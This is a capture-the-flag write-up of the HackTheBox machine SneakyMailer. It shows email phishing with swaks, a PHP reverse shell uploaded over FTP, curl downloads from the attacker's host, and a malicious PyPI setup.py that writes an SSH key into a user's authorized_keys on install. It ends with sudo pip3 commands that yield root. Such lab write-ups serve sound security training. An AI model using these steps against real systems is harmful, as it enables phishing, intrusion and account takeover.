HackTheBox - SneakyMailer

HackTheBox - SneakyMailer

SneakyMailer is a medium difficulty Linux machine from Hack The Box that features a phishing attack. The credentials obtained through phishing allow me to access one of the users’ mailboxes and obtain another credentials for FTP. Foothold on the system can be gained after dropping a reverse shell on the FTP. Internal enumeration discovers a PyPI server that can be exploited to escalate myself to user by uploading a malicious package. The user is allowed to run pip3 with sudo privileges, and this can be leveraged to obtain root access.

Skills Learned

  • Phishing
  • PyPI Package Exploitation
  • Sudo exploitation on pip3

Tools

  • Nmap
  • Imap

Reconnaissance

Nmap

→ root@iamf «sneakymailer» «10.10.14.42» 
$ mkdir nmap; nmap -sC -sV -oN nmap/inital-sneaky 10.10.10.197 -v

PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
80/tcp   open  http     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: ENABLE STARTTLS UTF8=ACCEPTA0001 CHILDREN ACL ACL2=UNION THREAD=ORDEREDSUBJECT THREAD=REFERENCES UIDPLUS OK SORT QUOTA IDLE completed CAPABILITY IMAP4rev1 NAMESPACE
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp  open  ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: ENABLE AUTH=PLAIN CHILDREN ACL ACL2=UNION THREAD=ORDEREDSUBJECT THREAD=REFERENCES UIDPLUS OK SORT QUOTA completed IDLE IMAP4rev1 CAPABILITY UTF8=ACCEPTA0001 NAMESPACE
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

With an initial scan, nmap discovered seven ports open and also identified the services behind them.

I’ll summarize the result:

  • There is an FTP service on port 21, but nmap shows no sign that anonymous login is allowed.
  • An SSH service on port 22
  • Three email protocols, SMTP on port 25, IMAP on port 143 and secure IMAP on port 993
  • And a web server hosting two sites on port 80 and 8080. nmap identifies the hostname as sneakycorp.htb.

I’ll add sneakycorp.htb to my /etc/hosts file:

→ root@iamf «sneakymailer» «10.10.14.42» 
$ echo '10.10.10.197 sneakycorp.htb' >> /etc/hosts 

Enumeration

TCP 80 - Website

Visiting sneakycorp.htb on port 80 displays a project dashboard for a company called SneakyCorp. One project is marked as “Complete!” while the other one seems still in progress for about 80%.

Clicking on the “Team” menu points to/team.php. This page shows a table contains the employees’ data of SneakyCorp.

I saved the whole table data and stored it in a file called team.

I can grab the emails using the grep and tr command as follows:

→ root@iamf «sneakymailer» «10.10.14.42» 
$ cat team | egrep -o "[^[:space:]]+@[^[:space:]]+" | tr -d "<>" | tee emails.list

I ran gobuster but it didn’t show any interesting results.

TCP 8080 —  Website

It returns the default Nginx page.

TCP 25  —  SMTP (Mail)

I tried to send an email, and it got queued.

Given a list of email addresses, the box title, as well as the illustration, I can guess it has something to do with email phishing.

Email Phishing

I’ll setup netcat listener on port 80, and then I’ll use a tool called swaks to send an email containing my IP address to all the email addresses I’ve got.

→ root@iamf «sneakymailer» «10.10.14.42» 
$ swaks --server '10.10.10.197' --to `cat emails.list | tr '\n' ','` --from admin@sneakymailer.htb --body "http://10.10.14.42/"

And there is an HTTP POST request coming to my listener.

The request body contains this data.

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

It can be decoded using an online url decoder.

firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

The parameter password and rpassword seem juicy where the r might refer to reset or retype the password. Unfortunately, the password doesn’t work on SSH and FTP.

TCP 143 - IMAP

With the obtained credentials, I can try to use it on IMAP, but since Kali doesn’t have any builtin mail apps, I’ll need an email client, and I end up with sylpheed. You can install it with sudo apt-get install sylpheed.

But before moving on, I’ll add sneakymailer.htb to my/etc/hosts file to avoid problems with dns/name resolution.

→ root@iamf «sneakymailer» «10.10.14.42» 
$ echo '10.10.10.197 sneakymailer.htb' >> /etc/hosts

Initial Setup

As this is my first install, I’ll have to determine the location of the mailbox (storage) for receiving email from the mail server. I decided to put it on/root/sneaky/loot/Mail.

Next I’ll have to determine the account type. Because the box only has IMAP listening and we’re not going outside VPN connection, then I should choose IMAP4.

In the following section, I’ll use the display name Paul and the email address paulbyrd@sneakymailer.htb that I obtained through phishing.

I lost some of my screenshots after the step above, but here is the final configuration.

Lastly, enter paulbyrd’s password, ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht, if the app asks for it after applying the configuration. Now wait until it fetches all the emails from the server.

Retrieving the emails

In Paul’s mailbox, I found two emails inside the “Sent Items” folder.

The first email was sent with the subject of “Password Reset”. In this email, Paul asks the administrator to change the developer account password. I’ll grab the credentials of the developer account.

The second email was sent with the subject “Module testing”, but right now I’m not sure what it is about.

Foothold

Shell as www-data

FTP Access

The developer account can be used to access the FTP server. There is only one directory called/dev in the FTP root directory.

I access the FTP server via browser. The files inside this FTP look the same files as the one hosted on sneakycorp.htb, except it has the additional word “dev” in the title.

Reverse Shell via FTP Upload

It turns out that the developer account has write permission on the /dev directory, so I can drop a PHP reverse shell payload there.

211-FTP server status:
     Connected to ::ffff:10.10.14.20
     Logged in as developer
     TYPE: ASCII
     No session bandwidth limit
     Session timeout in seconds is 300
     Control connection is plain text
     Data connections will be plain text
     At session startup, client count was 1
     vsFTPd 3.0.3 - secure, fast, stable
ftp> cd /dev
250 Directory successfully changed.
ftp> put /shares/reversef.php iamf.php
local: /shares/reversef.php remote: iamf.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
72 bytes sent in 0.00 secs (2.8610 MB/s)

The uploaded web shell is available on http://dev.sneakycorp.htb/iamf.php. I will add dev.sneakycorp.htb to my /etc/hosts first.

→ root@iamf «sneakymailer» «10.10.14.42» 
$ echo '10.10.10.194' >> dev.sneakycorp.htb

Now I can trigger my web shell with curl.

→ root@iamf «sneakymailer» «10.10.14.42» 
$ curl -s http://dev.sneakycorp.htb/iamf.php

My listener has an interactive shell now.

Privilege Escalation

Shell as low

Enumeration

In /var/www, I found another subdomain. The new is pypi.sneakycorp.htb, I’ll add it to my /etc/hosts file.

I discovered .htpasswd file inside pypi.sneakycorp.htb, which contains PyPI credentials.

I’ll save pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/ to my note and send it to my Windows for cracking. In /home there is no user called pypi, so it might be used for something else.

Cracking Password

The password can be cracked easily with John the Ripper.

The password is soufianeelhaoui

Malicious PyPI package

Looking at the web configuration file, there is another domain pypi.sneakycorp.htb which is accessible on localhost:5000.

It also accessible from remote on port 8080 if I specify the hostname, pypi.sneakycorp.htb.

Based on the second email that Paul sent to user law.

Hello low

Your current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.

The idea is that I can create my own PyPI package, of course a malicious one, upload it (via local or remote), and then let user low install the package (configured by the box’s author automatically).

To create a package, I’ll use the official site tutorial as my reference:

First, I’ll get the setup.py template which looks like this:

import setuptools

with open("README.md", "r", encoding="utf-8") as fh:
    long_description = fh.read()

setuptools.setup(
    name="example-pkg-YOUR-USERNAME-HERE", # Replace with your own username
    version="0.0.1",
    author="Example Author",
    author_email="author@example.com",
    description="A small example package",
    long_description=long_description,
    long_description_content_type="text/markdown",
    url="https://github.com/pypa/sampleproject",
    project_urls={
        "Bug Tracker": "https://github.com/pypa/sampleproject/issues",
    },
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
    ],
    package_dir={"": "src"},
    packages=setuptools.find_packages(where="src"),
    python_requires=">=3.6",
)

My goal is only to insert my SSH public key to low’s authorized_keys, so I’ll need to modify the code to this:

import setuptools
try:
        with open("/home/low/.ssh/authorized_keys", "w") as f:
                f.write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINtXqxDD334hQ3aaabbbssssdd")
        f.close()
except Exception as e:
        pass
setuptools.setup(
        name="low",
        version="0.0.1",
        author="Example Author",
        author_email="author@example.com",
        description="A small example package",
        long_description="",
        long_description_content_type="text/markdown",
     url="https://github.com/pypa/sampleproject",
     packages=setuptools.find_packages(),
     classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
     ],
)

From the link above, in order to upload a package to the PyPI server, a file called .pypirc must be present at $HOME/.pypirc.

The file is required for authentication, so I’ll create one and put the PyPI credentials I obtained before.

[distutils]
index-servers =
 local
 
[local]
repository: http://127.0.0.1:5000
username: pypi
password: soufianeelhaoui

If I wanted to upload remotely, my .pypirc would look like this:

[distutils]
index-servers =
 remote
 
[remote]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

I’ll transfer setup.py and .pypirc to /dev/shm of SneakyMailer via Python http server.

→ root@iamf «exploits» «10.10.14.42» 
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.197 - - [12/Jul/2020  08:24:12] "GET /.pypirc HTTP/1.1" 200 -
10.10.10.197 - - [12/Jul/2020  08:24:29] "GET /setup.py HTTP/1.1" 200 -

On SneakyMailer:

www-data@sneakymailer:/dev/shm$ curl -s http://10.10.14.42/.pypirc > .pypirc
www-data@sneakymailer:/dev/shm$ curl -s http://10.10.14.42/setup.py > setup.py

Now at /dev/shm, the folder structure looks like this.

.
├── .pypirc
├── iamf.php
└── setup.py

The last part is set $HOME to /dev/shm, because .pypirc should be placed at $HOME/.pypirc.

www-data@sneakymailer:/dev/shm$ export $HOME=/dev/shm

After all is set, I can start uploading the malicious package I made to the PyPI server locally using the command below.

www-data@sneakymailer:~$ python3 setup.py sdist upload -r local
running sdist
running egg_info
writing low.egg-info/PKG-INFO
writing dependency_links to low.egg-info/dependency_links.txt
writing top-level names to low.egg-info/top_level.txt
reading manifest file 'low.egg-info/SOURCES.txt'
writing manifest file 'low.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md
running check
creating low-0.0.1
creating low-0.0.1/low.egg-info
copying files to low-0.0.1…
copying setup.py -> low-0.0.1
copying low.egg-info/PKG-INFO -> low-0.0.1/low.egg-info
copying low.egg-info/SOURCES.txt -> low-0.0.1/low.egg-info
copying low.egg-info/dependency_links.txt -> low-0.0.1/low.egg-info
copying low.egg-info/top_level.txt -> low-0.0.1/low.egg-info
Writing low-0.0.1/setup.cfg
Creating tar archive
removing 'low-0.0.1' (and everything under it)
running upload
Submitting dist/low-0.0.1.tar.gz to http://pypi.sneakycorp.htb:8080/
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)

As long as I see the server response is 200, that means I have successfully uploaded the package.

SSH Access

Now I can login with my private key as user low.

→ root@iamf «sneakymailer» «10.10.14.42» 
$ ssh -i id_ecdsa low@10.10.10.197

User flag is done here.

Shell as root

Abusing sudo pip

User low has sudo privileges on /usr/bin/pip3.

I’ll follow the instruction from GTFOBins to abuse this circumstance to obtain the root flag.

low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$
low@sneakymailer:~$ echo 'raise Exception(open("/root/root.txt").read())' > $TF/setup.py
low@sneakymailer:~$
low@sneakymailer:~$ sudo pip3 install $TF

Or to get a shell as follows:

low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$
low@sneakymailer:~$ sudo pip3 install $TF
sudo: Unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.9ShSegy5bm
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

References